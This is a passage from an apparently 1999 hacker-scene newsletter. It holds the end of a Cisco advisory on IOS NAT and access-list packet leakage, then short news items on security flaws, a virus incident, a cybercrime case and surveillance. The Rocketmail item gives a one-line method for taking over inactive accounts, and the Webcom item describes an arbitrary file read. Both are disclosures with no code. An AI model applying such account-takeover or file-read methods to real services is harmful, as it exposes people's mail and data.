AS53xx) are affected. * Cisco routers in the 72xx family (including the ubr72xx) are affected. * Cisco routers in the RSP70xx family (not non-RSP 70xx routers) are affected. * Cisco routers in the 75xx family are affected. * The Catalyst 5xxx Route-Switch Module (RSM) is affected. The Catalyst 5xxx switch supervisors themselves are not affected; only the optional RSM module is involved. Cisco devices which run Cisco IOS software, but are not affected by this vulnerability, include the following: * Cisco routers in the 8xx family are not affected. * Cisco routers in the ubr9xx family are not affected. * Cisco routers in the 10xx family are not affected. * Cisco routers in the 14xx family are not affected. * Cisco routers in the 16xx family are not affected. * Cisco routers in the 25xx family are not affected. * Cisco routers in the 30xx family are not affected (and do not run 12.0 software). * Cisco routers in the mc38xx family are not affected. * Cisco routers in the 40xx family are not affected. * Cisco routers in the 45xx family are not affected. * Cisco routers in the 47xx family are not affected. * Cisco routers in the AS52xx family are not affected * Cisco routers in the AS53xx family are not affected. * Catalyst 85xx Switch Routers are not affected (and do not support NAT). * GSR12xxx Gigabit Switch Routers are not affected (and do not support NAT). * Cisco 64xx universal access concentrators are not affected. * Cisco AGS/MGS/CGS/AGS+ and IGS routers are not affected (and do not run 12.0 software). * LS1010 ATM switches are not affected. * Catalyst 2900XL LAN switches are not affected. * The Cisco DistributedDirector is not affected. If you are unsure whether your device is running classic Cisco IOS software, log into the device and issue the command "show version". Cisco IOS software will identify itself simply as "IOS" or "Internetwork Operating System Software". Other Cisco devices either will not have the "show version" command, or will give different output. If you are not running Cisco IOS software, then you are not affected by this vulnerability. Cisco devices which do not run Cisco IOS software, and are not affected by this vulnerability, include the following: * 7xx dialup routers (750, 760, and 770 series) are not affected. * Catalyst 19xx, 28xx, 29xx, 3xxx, and 5xxx LAN switches are not affected. * WAN switching products in the IGX and BPX lines are not affected. * The MGX (formerly known as the AXIS shelf) is not affected. * No host-based software is affected. * The Cisco PIX Firewall is not affected. * The Cisco LocalDirector is not affected. * The Cisco Cache Engine is not affected. Impact ====== The severity of the impact may vary, depending on the device type, configuration and environment, from sporadic leakage of occasional packets to consistent leakage of significant classes of packets. The environment dependencies are extremely complex and difficult to characterize, but essentially all vulnerable configurations are affected to some degree. Customers with affected devices are advised to assume that the vulnerability affects their networks whenever input access lists are used together with NAT in 12.0-based software. This vulnerability may allow users to circumvent network security filters, and therefore security policies. This may happen with no special effort on the part of the user, and indeed without the user being aware that a filter exists at all. No particular tools, skills, or knowledge are needed for such opportunistic attacks. In some configurations, it may be also possible for an attacker to deliberately create the conditions for this failure; doing this would require detailed knowledge and a degree of sophistication. The conditions that trigger this vulnerability may be frequent and long-lasting in some production configurations. Software Versions and Fixes =========================== This vulnerability is created by bugs in interface hardware drivers. These bugs affect the drivers for all interface types on affected platforms. The majority of these driver bugs are grouped under Cisco bug ID CSCdk79747. Additional bugs IDs include CSCdm22569 (miscellaneous additional drivers), and CSCdm22299 (Cisco 1400 and 1700 platforms; of these two, only the 1700 actually suffers packet leakage). A related bugs is CSCdm22451, which describes a problem with the original fix for CSCdk79747. All four of these bugs are, or will be, fixed in the software releases listed in the table below. Many Cisco software images have been or will be specially reissued to correct this vulnerability. For example, regular released version 12.0(3) is vulnerable, as are interim versions 12.0(3.1) through 12.0(3.7) The first fixed version of 12.0 mainline software is 12.0(4). However, a special release, 12.0(3b), contains only the security vulnerability fixes, and does not include any of the other bug fixes from later 12.0 interim releases. If you were running 12.0(3), and wanted to upgrade to fix this problem, without taking the risk of instability presented by the new functionality and additional bug fixes in the 12.0(4) release, you could upgrade to 12.0(3b). 12.0(3b) represents a "code branch" from the 12.0(3) base, which merges back into the 12.0 mainline at 12.0(4). In every case, these special releases are one-time spot fixes, and will not be maintained. The upgrade path from, say, 12.0(3b), is to 12.0(4). Note that fixes are not yet available for some affected releases. Cisco is releasing this notice before the general release of fixed software because of the possibility that this vulnerability may be exploited in the interim. All fix dates in the table are estimates and are subject to change. +-------------+---------------+--------------+-------------+---------------+ | | | | Projected | | | | | Special spot | first fixed |Projected first| | | | fix release; | regular or | fixed regular | | Cisco IOS | | most stable | interim** | maintenance | |Major Release| Description | immediate | release (fix| release (or | | | | upgrade path | will carry |other long term| | | | (see above) | forward into| upgrade path) | | | | | all later | | | | | | versions) | | +-------------+---------------+--------------+-------------+---------------+ | Unaffected releases | +-------------+---------------+--------------+-------------+---------------+ |11.3 and | | | | | |earlier, all |Unaffected |Unaffected |Unaffected |Unaffected | |variants |early releases | | | | +-------------+---------------+--------------+-------------+---------------+ | | 12.0-based releases | +-------------+---------------+--------------+-------------+---------------+ |12.0 |12.0 mainline |12.0(3b) |12.0(4), |12.0(4), | | | | |April 19, |April 19, 1999*| | | | |1999* | | +-------------+---------------+--------------+-------------+---------------+ |12.0S |ISP support: | |12.0(4)S |12.0(5)S | | |7200, RSP, | |(treated as |June 21, 1999* | | |GSR12000. In | |interim** and| | | |field test. | - |released to | | | | | |field testers| | | | | |on request | | | | | |only | | | | | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0T |12.0 new |12.0(3)T2, |12.0(4)T, |12.0(4)T, | | |technology |April 14, |April 26, |April 26, 1999*| | |early |1999* |1999* | | | |deployment | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0DB |12.0 for Cisco | | |Unaffected; not| | |6400 universal | | |supported on | | |access | | |affected | | |concentrator | - | - |platforms. | | |node switch | | | | | |processor (lab | | | | | |use) | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(1)W5(x) |12.0 for | | |Unaffected; not| | |Catalyst 8500 | - | - |supported on | | |and LS1010 | | |affected | | | | | |platforms | +-------------+---------------+--------------+-------------+---------------+ |12.0(0.6)W5 |One-time early | | |Unaffected; not| | |deployment for | | |supported on | | |CH-OC12 module | - | - |affected | | |in Catalyst | | |platforms. | | |8500 series | | | | | |switches | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(1)XA3 |Short-life | |Merged |Upgrade to | | |release; merged| | |12.0(3)T2 or | | |to 12.0T at | - | |12.0(4)T | | |12.0(2)T. | | | | | | | | | | | | | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(1)XB |Short-life |Unaffected |Merged |Unaffected; not| | |release for | | |supported on | | |Cisco 800 | | |affected | | |series; merged | | |platforms. | | |to 12.0T at | | |Regular upgrade| | |12.0(3)T. | | |path is via | | | | | |12.0(4)T | | | | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(2)XC |Short-life | |Merged |Upgrade to | | |release for new| | |12.0(3)T2 or | | |features in | | |12.0(4)T | | |Cisco 2600, | | | | | |Cisco 3600, | - | | | | |ubr7200, ubr900| | | | | |series; merged | | | | | |to 12.0T at | | | | | |12.0(3)T. | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(2)XD |Short-life | |Merged |Upgrade to | | |release for | | |12.0(3)T2 or | | |ISDN voice | - | |12.0(4)T | | |features; | | | | | |merged to 12.0T| | | | | |at 12.0(3)T. | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(x)XE |Short-life |12.0(2)XE3, |Merged |Upgrade to | | |release for |April 13, | |12.0(3)T2 or | | |selected |1999* | |12.0(4)T. | | |entreprise | | | | | |features; | | | | | |merged to 12.0T| | | | | |at 12.0(3)T | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(2)XF |Short-life spot|Unaffected |Merged |Unaffected; not| | |release of 12.0| | |supported on | | |for the | | |affected | | |Catalyst | | |platforms. | | |2900XL LAN | | |Regular upgrade| | |switch; merged | | |path is via | | |to 12.0T at | | |12.0(4)T. | | |12.0(4)T. | | | | +-------------+---------------+--------------+-------------+---------------+ |12.0(2)XG |Short-life | |Merged |Upgrade to | | |release for | | |12.0(4)T | | |voice modules | - | | | | |and features; | | | | | |merged to 12.0T| | | | | |at 12.0(4)T. | | | | +-------------+---------------+--------------+-------------+---------------+ * All dates are tentative and subject to change ** Interim releases are subjected to less internal testing and verification than are regular releases, may have serious bugs, and should be installed with great care. Getting Fixed Software - -------------------- Cisco is offering free software upgrades to remedy this vulnerability for all affected customers. Customers with service contracts may upgrade to any software version. Customers without contracts may upgrade only within a single row of the table above, except that any available fixed software will be provided to any customer who can use it and for whom the standard fixed software is not yet available. As always, customers may install only the feature sets they have purchased. Note that not all fixed software is available as of the date of this notice. Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained via the Software Center on Cisco's Worldwide Web site at http://www.cisco.com. Customers without contracts should get their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows: * +1 800 553 2447 (toll-free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Please do not contact either "psirt@cisco.com" or "security-alert@cisco.com" for software upgrades. Workarounds =========== This vulnerability may be worked around by changing the configuration to avoid using input access lists, by removing NAT from the configuration, or by separating NAT and filtering functions into different network devices or onto different interfaces. Each of these changes has significant installation-dependent complexity, and must be planned and executed with a full understanding of the implications of the change. If the configuration of a router is changed to eliminate NAT, or to change the interfaces on which NAT is applied, as a means of avoiding this vulnerability, the router must be reloaded before the change will have the desired effect. Exploitation and Public Announcements ===================================== Cisco knows of no public announcements or discussion of this vulnerability before the date of this notice. Cisco has had no reports of malicious exploitation of this vulnerability. However, the nature of this vulnerability is such that it may create security exposures without knowingly being "exploited" as the term is usually used with respect to security vulnerabilities. This vulnerability was reported to Cisco by several customers who found it during in-service testing. Status of This Notice ===================== This is a final field notice. Although Cisco cannot guarantee the accuracy of all statements in this notice, all of the facts have been checked to the best of our ability. Cisco does not anticipate issuing updated versions of this notice unless there is some material change in the facts. Should there be a significant change in the facts, Cisco may update this notice. Distribution - ---------- This notice will be posted on Cisco's Worldwide Web site at http://www.cisco.com/warp/public/770/iosnatacl-pub.shtml . In addition to Worldwide Web posting, the initial version of this notice is being sent to the following e-mail and Usenet news recipients: * cust-security-announce@cisco.com * bugtraq@netspace.org * first-teams@first.org (includes CERT/CC) * cisco@spot.colorado.edu * comp.dcom.sys.cisco * firewalls@greatcircle.com * Various internal Cisco mailing lists Future updates of this notice, if any, will be placed on Cisco's Worldwide Web server, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL given above for any updates. Revision History - -------------- Revision 1.0, First release candidate version 16:40 US/Pacific 8-APR-1999 Revision 1.1, Remove extraneous editor's comments 18:20 US/Pacific 8-APR-1999 Revision 1.2, Typographical cleanup, clarification of affected releases 12:00 US/Pacific in summary section, remove extraneous bug reference. 9-APR-1999 Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's Worldwide Web site at http://www.cisco.com/warp/public/791/sec_incident_response.shtml. This includes instructions for press inquiries regarding Cisco security notices. - ------------------------------------------------------------------------ This notice is copyright 1999 by Cisco Systems, Inc. This notice may be redistributed freely after the release date given at the top of the text, provided that redistributed copies are complete and unmodified, including all date and version information. - ------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: Big Secret Comment: For info see http://www.gnupg.org iQEVAwUBNxNXfnLSeEveylnrAQHUqwf/bKI4zIa23ZbhKgn6pzlDxCmeKBxtDrxa B4hNQf9p07YPsNrA/LYepYmNJAQpZz4uXflBVU/cKeQE8o8/AvbxgUvGuV7MY4La Wafn7UbR26Vfixvk6ZzWPy8NnB5OGuL6Z7VEH3MW7UwNX8MPhKSLd6nCMA2Ily14 nVvKbylroSJhyFSvI1TizJYh/jjIqMudxPBIftNYIuUNpeLZkQ6B0p/CxScJ6AAT Ze5+6KX4DMVKCb0uTV/+Hzayf67Z78eoxVSvA+Nj1CCE7J3nr8VC9qsJE0ItTbO9 xv0AoJ4MfrscQzT12hbIii9pvDCe3gW1e7E8PGMVFGo3V4WMGsIilA== =XF+D -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: Big Secret Comment: For info see http://www.gnupg.org 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 =l8tP -----END PGP PUBLIC KEY BLOCK----- @HWA 14.0 Aptivas ship with added bonus, the CIH virus. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- IBM says some Aptivas hit by virus By Joel Deane, ZDNN April 6, 1999 11:49 AM PT URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2237581,00.html IBM said Tuesday that several thousand of its Aptiva PCs have been exposed to a computer virus. IBM spokeswoman Stacy Pena said that some Aptiva PCs sold in the United States had been exposed to the CIH virus during the manufacturing process due to human error. Pena said the virus was introduced to the Aptivas through test diskettes. The virus wasn't detected because "an individual" failed to update the anti-virus software on the server used to duplicate software, she said. "What happened was a glitch in the manufacturing process. We have very high quality control," Pena said. "What happened was human error." The CIH virus is spread from one PC to another when an executable file is transferred, may render an infected PC inoperable when the date on the PC's internal calendar reads April 26 of any year. Affected computers The company said that Aptiva PCs with model numbers 240, 301, 520 and 580 manufactured between March 5 and March 17, 1999, and sold in the United States, may have been exposed to the CIH computer virus. The affected computers have one of the following codes after "MFG DATE": AM909, AM910 or AM911. All potentially affected customers who have registered their Aptiva with IBM Owner Privileges, and all others for whom IBM has a current, valid address, have already been contacted and will automatically receive an IBM Antivirus Update CD, the company said. Retailers have also been contacted to ensure that Aptivas in stores are free of the virus. No other Aptiva models or IBM (NYSE:IBM) products are known to be affected. For more information, IBM said Aptiva owners should call the IBM HelpCenter around-the-clock at (800) 600-8235 or read IBM.com's update on Aptiva PCs and the CIH virus. Reuters contributed to this report. @HWA 15.0 Rocketmail vulnerabilty on inactive accounts ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Via Project Gamma http://www.projectgamma.com/ link Rocketmail security hole April 12, 1999, 17:29 Author: WHiTe VaMPiRe MAO Enterprises released a security advisory regarding Rocketmail's free Web e-mail services: If you are aware of a login name of an account on Rocketmail which has been inactive for awhile, it is possible to reactivate the account with no proof that you were the original account holder. Simply supply a new password and you will have access to somebody else's "inactive" account. Why is this "dangerous"? It would be possible to impersonate the original account holder without the family and friends' knowledge. Additionally, the original preferences of the account are preserved. This makes it extremely easy to retrieve personal data, address books, and various other information stored by the original user. Related links: MAO Enter http://securityhole.8m.com/ @HWA 16.0 Yahoo "hack" faked? ~~~~~~~~~~~~~~~~~~~ Via Project Gamma http://www.projectgamma.com/ link Yahoo "hack" faked? Project Gamma reported on the Yahoo "hack" last month. We had several submissions from different people, facts added up, it seemed legit, so we went with it. We heard from several people that it was fake but there was nothing definite from either side, and the "hack" seemed feasible at the time. Yahoo claims that the "hack" never occured. Several of the larger "hacking" groups claim that it was, in fact, faked. We, Project Gamma, really have no idea definitely either way. We felt that it would be appropriate for us to give the public what we know, and let them decide for themselves. Was Yahoo hacked? That is up for you to decide. Yahoo hacked, original article. http://www.projectgamma.com/news/archive/1999/march/031899-1251.html Archive of the supposed defacement. http://www.projectgamma.com/hacked/yahoo.com.html Regards, -WHiTe VaMPiRe\Rem- 17.0 'Sorceror's Apprentice' bug in Outlook ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Net-Security http://www.net-security.org/ link SORCERER'S APPRENTICE BUG IN OUTLOOK by BHZ, Wednesday 14th Apr 1999 on 9:40 pm CET New bug goes like this: if you have multiple e-mail accounts on the same POP3 server and one account is set to remove mail and the other is set to leave mail on server, you will continue to get the same mail over and over again. Microsoft Outlook Express Team spoke about the mistake like - "bug in Outlook Express 5.0 interferes with Outlook Express' ability to determine which messages have previously been downloaded, resulting in multiple copies of the same message being downloaded. @HWA 18.0 Aussie password thief pleads guilty ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 13/04/99 16:25 Net passwords thief pleads guilty Roulla Yiacoumi A man who used 37 Net account passwords to gain $50 worth of Internet access has pleaded guilty in a Western Australian court. Perth resident Christopher Thomas Daniels, 20, was fined $2,500 and ordered to pay $500 to the ISP from which the passwords were stolen, Vianet. Last month, Daniels was charged with 37 counts of unlawfully operating a computer system (see story). It was alleged that a juvenile supplied the man with 350 Internet account passwords. The accounts were all with one Western Australian ISP, Vianet. The juvenile, a first-time offender, has been referred to the Juvenile Justice Team. Detective senior constable Mike Wheeler from the WA fraud squad said there had been an alarming increase in the number of young people becoming involved in Net-based crime. "Most of these people are normally law abiding, and have never been in trouble with the police in the past," he said. "There is a misconception you won't get caught doing this sort of thing, but if you are utilising telephone lines, we can always trace you back." Wheeler said he had spoken to at least half-a-dozen other young people in the past week about similar matters. It is hoped the fine imposed by the magistrate will act as a deterrent to others. "The message we want to get across is that this is not a fun thing -- it is very serious, it is an offence, and there's a high chance you're going to get caught," he warned. This article is located at http://newswire.com.au/9904/guilty.htm @HWA 19.0 Echelon is fishy says ACLU ~~~~~~~~~~~~~~~~~~~~~~~~~~ Via net-security http://www.net-security.org/ link ECHELON IS FISHY ACCORDING TO ACLU by BHZ, Monday 12th Apr 1999 on 10:00 pm CET The American Civil Liberties Union (ACLU) reports that ECHELON, global electronic communications surveillance system may be engaged in the illegal interception of Americans' private communications. Inquiries by the European Parliament resulted in reports detailing the existence of ECHELON, which is led by the NSA in conjunction with its counterpart agencies in England, Canada, Australia and New Zealand. According to the reports, ECHELON has communications receiving stations all over the world and attempts to capture all satellite, microwave, cellular and fiber-optic communications worldwide, including communications to and from North America. Computers then sort through conversations, faxes and emails for searching for keywords. Communications that include keywords chosen by the intelligence agencies are transcribed and forwarded for further investigation. @HWA 20.0 Network-based intrusion detection systems are about to stop crying wolf ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.internetwk.com/story/INW19990408S0009 Thursday, April 8, 1999, 4:33 PM ET. Security Mandate: Silence False Alarms By RUTRELL YASIN Network-based intrusion detection systems are about to stop crying wolf. Often, these systems deliver such a high number of false positives--which classify an action as an intrusion when it may be legitimate--that computer operators ignore intrusion alarms altogether. Several network security vendors are responding with products that do a better job of filtering out false alarms from actual attacks. Network Associates Inc. (NAI) this week unveiled a real-time intrusion detection system that correlates network- and host-based events to give IT managers a comprehensive view of system activity. CyberCop Monitor is a core component of NAI's new Active Security product line. Meanwhile, Axent Technologies, Cisco and Internet Security Systems (ISS) plan to deliver improved event correlation and filtering by year's end. The improvements take intrusion detection to the next level, as more companies use the high-tech burglar alarms to identify attacks from outsiders as well as insiders. IT managers looking for ways to reduce false-positive alarms cited the need for better event correlation. Robert Kondilas, a security manager at carrier Qwest Communications, which uses ISS's RealSecure system, noted that a correlation engine lets IT administrators manage more end points in the network with fewer people. Alan Paller, director of The SANS Institute, a training and consulting firm, said, The huge load of not-very-important alarms has caused a complete shift in the way people do network-based ID. He added that, initially, organizations think they can use intrusion detection tools to set off a beeper when an attack is under way, but they soon discover that the beeper goes off so often that they can't possibly respond to every alarm. The false-positive problem is generally confined to network-based intrusion detection systems that monitor network packets for IP spoofing and packet-flooding attacks, rather than the host-based systems that monitor PC server and firewall logs for suspicious activity. For example, an intrusion detection systems may confuse port scans from a network management tool such as Hewlett-Packard's OpenView--which employs SNMP-based polling and ICMP requests to discover network topology, status and configuration--with hacker attacks, if it is not properly tuned, experts said. Kondilas has seen his share of false positives. He recalled a recent incident where the intrusion detection system appeared to be picking up NetBus traffic. (NetBus is a hacker program that can be used to gain unauthorized access to network servers.) Closer analysis of the data, however, revealed that a machine was transmitting legitimate data, according to Kondilas. To avoid being overwhelmed by false alarms, IT managers at Qwest are documenting each false positive. By recording exactly what is happening in the network at the time an alarm triggered, operators can determine if similar events in the future are false alarms, he said. Since network- and host-based systems each have strengths and weaknesses, some vendors are providing hybrid systems that deliver the best of both worlds. For example, NAI's CyberCop Monitor dredges data from Windows NT event logs or logs from other key applications, in addition to monitoring network traffic coming into a server with the more classic network signature technique, said Gene Hodges, vice president of security product management at NAI. If there is fragmentation of network traffic, organizations can determine if the cause is a hacker or a bad router, and they also can look into the event log to see if there is suspicious activity, Hodges said. Both Axent and ISS introduced hybrid systems last year. ISS RealSecure can pull information from multiple network sensors and systems agents to track activity across a range of devices and systems. But that information is being sent to management consoles. ISS wants to add even more intelligence to the network. The company plans to unveil a RealSecure fusion engine that can correlate events from multiple intrusion detection engines placed strategically throughout a network, said Mark Wood, an ISS product manager. Axent and Cisco are both working to fine-tune the ability to describe attack signatures. As in the case of antivirus software, network-based intrusion detection systems look for abnormal patterns in packets sent across the network, matching them against signatures in a database. Axent plans to unveil a version of its NetProwler system that incorporates technology from ID-Trak, a tool the company obtained through its acquisition of Internet Tools earlier this year, said Scott Gordon, director of intrusion detection. ID-Trak lets users customize signatures to meet specific network requirements. The product also will benefit from tighter integration with the IntruderAlert engine, Axent's host-based system, he added. Fine-tuning attack signatures is a short-term solution for Cisco, which offers the NetRanger system, according to Joseph Sirrianni, a product marketing engineer. We're constantly improving signatures because certain ones trigger false positives, he added. Cisco, however, declined to name which NetRanger signatures specifically trigger false alarms. We're looking at ways of integrating certain correlation techniques, he said. The fruit of that labor should be incorporated in the product over the next six months, he added. However, some experts said false positives can be reduced if users get a better understanding of the intrusion detection systems. It's more an issue of deployment, said Mike Hagger, vice president of network security and disaster recovery at investment company Oppenheimer Funds. You have to know what you're trying to validate and track, and have the right people analyze the data, said Hagger, who uses ISS's RealSecure. Pete Cafarchio, technology program manager at the International Computer Security Association, recommends that users don't turn on alarming features until the intrusion detection system is up and running for 30 days, By that time, they should have a better understanding of how the system works, he added. In the future, network-based intrusion detection systems also can benefit from a technique called anomaly detection, which is more common in host-based systems, according to Cafarchio. Anomaly detection helps IT managers establish a baseline of normal user activity so they can set up filters that trigger alerts if that activity changes. For instance, they might monitor a person accessing certain information at a certain time of the week. The problem with this technique is that people can deviate from normal activity, Cafarchio said. -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 21.0 MSIE5 fun ~~~~~~~~~ Via net-security http://www.net-security.org/ link HAVE FUN WITH IE 5.0 by deepcase, Sunday 11th Apr 1999 on 8:58 pm CET Wanna have some fun with IE 5.0 ? Check this little text which explains how you have to modify the language choice of IE to have some fun with it :) Read it below . From: "Gibney, Tim" Subject: Not the place but... ...try it anyway. Heh... try this in IE5. Trust me the last part is good :) Open up IE5 From the menu, select Tools > Internet Options > General (tab) > Languages (button) Press 'Add' Type: "ie-ee" (without the quotes) and click 'OK' Move "User Defined [ie-ee]" to the TOP of the list Exit back to where you can browse in IE5 again Click on the Search icon (to pull up the side search menu) Laugh at the new options Select 'Previous Searches' Regards, Tim Gibney ------------------------------------------------------------------------ From: Rod Potter Subject: Re: Not the place but... If you take the time to do this, don't forget to click on "Customize" also. More proof that MS plans to crush Mozilla ;-) @HWA 22.0 Renegade judge ~~~~~~~~~~~~~~ Via net-security http://www.net-security.org/ link RENEGADE JUDGE by BHZ, Sunday 11th Apr 1999 on 6:22 pm CET Pennsylvania Judge Joan Orie Melvin read an article on a muckraking Web site that accused her of unseemly political activities and she took the law in her own hands. In a subpoena sent to the online service AOL last month Melvin asked it to "identify the individual or entity who owns" the Grant Street 1999 gossip site. The American Civil Liberties Union has now joined the suit to oppose Melvin's request, pointing at the fact that anonymous speech is a right protected by the First Amendment. Contributed by Thejian @HWA 23.0 Webcom Guestbooks vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Via net-security http://www.net-security.org/ link WEBCOM GUESTBOOKS by BHZ, Saturday 11th Apr 1999 on 3:37 pm CET As reported on BugTraq mailing list:"Webcom's (www.webcom.se) CGI Guestbook (wguest.exe and rguest.exe) having a number of security problems where any text based file on an NT machine could be read from the file system provided the attacker knew the path to the file and the Anonymous Internet Account (IUSR_MACHINENAME on IIS) has the NTFS read right to the file in question. On machines such as Windows 95/98 without local file security every file is readable. wguest.exe is used to write to the Guestbook and rguest.exe is used to read from the Guestbook". You can also get some system files and even write to files from your browser. Pretty low security. Approved-By: aleph1@UNDERGROUND.ORG Received: from sand4.global.net.uk (sand4.global.net.uk [194.126.80.248]) by netspace.org (8.8.7/8.8.7) with ESMTP id PAA09340 for ; Fri, 9 Apr 1999 15:50:05 -0400 Received: from pf2s06a06.client.global.net.uk ([195.147.214.243] helo=mercury) by sand4.global.net.uk with smtp (Exim 2.05 #2) id 10VhIP-0001aP-00; Fri, 9 Apr 1999 19:50:35 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000F_01BE82C9.5E989D50" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Message-ID: <001201be82c0$fe16a060$216610ac@mercury> Date: Fri, 9 Apr 1999 20:41:39 +0100 Reply-To: Mnemonix Sender: Bugtraq List From: 